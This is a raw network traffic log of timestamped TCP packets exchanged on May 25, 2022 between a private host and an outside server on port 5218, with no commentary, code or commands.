May 25, 2022 16:27:05.724584103 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.034193993 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.034765005 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.350908995 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.351186991 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.351329088 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.351444006 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.353820086 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.354072094 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.356304884 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.356448889 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.356571913 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.356688976 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.356745005 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.356826067 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.358696938 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.358836889 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.361404896 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.361541986 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.361548901 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.361670017 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.361685991 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.361803055 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.361840010 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.362001896 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.606991053 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.607242107 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.608584881 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.608911037 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.609462023 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.609524965 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.609697104 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.609793901 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.611067057 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.611206055 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.611259937 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.611390114 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.611445904 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.611499071 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.611569881 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.611685991 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.612196922 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.612386942 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.613816023 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.613997936 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.614883900 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.615088940 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.615101099 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.615278006 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.616153002 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.616213083 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.616422892 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.617861986 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.618060112 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.620311022 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.620521069 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.622998953 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.623043060 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.623117924 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.623162031 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.623198032 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.623336077 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.623409033 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.623554945 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.669049025 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.945054054 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.945122957 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.945171118 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.945216894 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.945254087 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.945302963 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.945420980 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.946115971 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.946180105 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.946243048 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.946396112 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.946434975 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.946604013 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.946839094 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.947941065 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.948268890 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.949306011 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.949373007 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.949531078 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.949584007 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.950702906 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.950769901 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.950839996 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.950886965 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.950892925 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.950947046 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.951045990 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.951097965 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.953692913 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.953780890 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.953830957 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.953881025 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.953893900 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.953948975 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.953995943 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.954014063 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.956501961 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.956583977 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.956634045 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.956700087 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.956743956 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.956767082 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.959321022 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.959655046 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.959899902 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.959961891 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.960078955 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.960134983 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.963288069 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.963350058 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.963519096 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.963598967 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.969105005 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.969165087 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.969440937 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.969537020 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.971986055 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.972045898 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.972201109 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.972248077 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.974704027 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.974762917 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.974945068 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.974992037 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:06.977009058 CEST	5218	49767	23.105.131.228	192.168.11.20
May 25, 2022 16:27:06.977241993 CEST	49767	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:10.900327921 CEST	49771	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:11.159590960 CEST	5218	49771	23.105.131.228	192.168.11.20
May 25, 2022 16:27:11.159851074 CEST	49771	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:11.283267021 CEST	49771	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:11.564153910 CEST	5218	49771	23.105.131.228	192.168.11.20
May 25, 2022 16:27:15.852302074 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:16.213074923 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:16.213382006 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:16.213769913 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:16.574346066 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:16.574610949 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:16.641748905 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:16.641992092 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:16.925412893 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:16.925621033 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:17.243977070 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:17.244338036 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:17.611566067 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:17.611780882 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:17.921973944 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:17.922275066 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.010004044 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.010071039 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.010839939 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.011010885 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.011224031 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.011370897 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.011426926 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.025027990 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.025304079 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.048422098 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.048510075 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.048558950 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.048667908 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.048672915 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.048715115 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.048830986 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.048839092 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.048999071 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.057068110 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.218835115 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.219353914 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.276736975 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.276858091 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.276910067 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.277024031 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.277033091 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.277218103 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.277654886 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.278300047 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.278852940 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.278934956 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.278985023 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.279143095 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.279486895 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.285015106 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.285516024 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.289355040 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.289417982 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.289644957 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.303502083 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.303726912 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.304228067 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.304394007 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.304501057 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.304601908 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.304760933 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.305362940 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.305454016 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.305547953 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.305597067 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.305704117 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.305704117 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.305921078 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.307087898 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.307296991 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.324429989 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.324625015 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:18.327366114 CEST	5218	49773	23.105.131.228	192.168.11.20
May 25, 2022 16:27:18.327627897 CEST	49773	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:22.082803011 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:22.347507954 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:22.347835064 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:22.348086119 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:22.649914026 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:22.650362968 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:22.675312996 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:22.727817059 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:23.010682106 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:23.011111975 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:23.284007072 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:23.284198999 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:23.617959976 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:23.618181944 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:23.915812016 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:23.916064978 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.086338997 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.086527109 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.092262030 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.092474937 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.097461939 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.097606897 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.097635031 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.097858906 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.101552010 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.101780891 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.105911016 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.106123924 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.107942104 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.108221054 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.110569954 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.110663891 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.110938072 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.110974073 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.114625931 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.114880085 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.165080070 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.211728096 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.211885929 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.347453117 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.347532988 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.347747087 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.347908020 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.347966909 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.348143101 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.348190069 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.352014065 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.352221012 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.356643915 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.356756926 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.356875896 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.356929064 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.364379883 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.364658117 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.368784904 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.369008064 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.396068096 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.396357059 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.435977936 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.436147928 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.436199903 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.436218977 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.436435938 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.436444998 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.436486959 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.436830997 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.437823057 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.437884092 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.437951088 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.438020945 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.438127995 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.438150883 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.442718983 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.442797899 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.442847967 CEST	5218	49774	23.105.131.228	192.168.11.20
May 25, 2022 16:27:24.443063974 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:24.443098068 CEST	49774	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:28.193197012 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:28.452982903 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:28.453380108 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:28.453732967 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:28.769211054 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:28.769484997 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:28.817626953 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:28.866974115 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:29.157324076 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:29.157500029 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:29.535317898 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:29.535604954 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:29.838582039 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:29.838906050 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.158023119 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.158260107 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.205485106 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.206121922 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.208317041 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.208379030 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.208600998 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.211074114 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.211153984 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.211357117 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.212977886 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.213042021 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.213202953 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.213257074 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.214589119 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.214653969 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.214840889 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.218123913 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.218713999 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.444890976 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.462877989 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.463112116 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.467200994 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.467820883 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.467983961 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.468043089 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.468156099 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.468281984 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.468426943 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.468486071 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.468652964 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.468780994 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.490571022 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.490654945 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.490706921 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.490801096 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.490855932 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.490987062 CEST	5218	49775	23.105.131.228	192.168.11.20
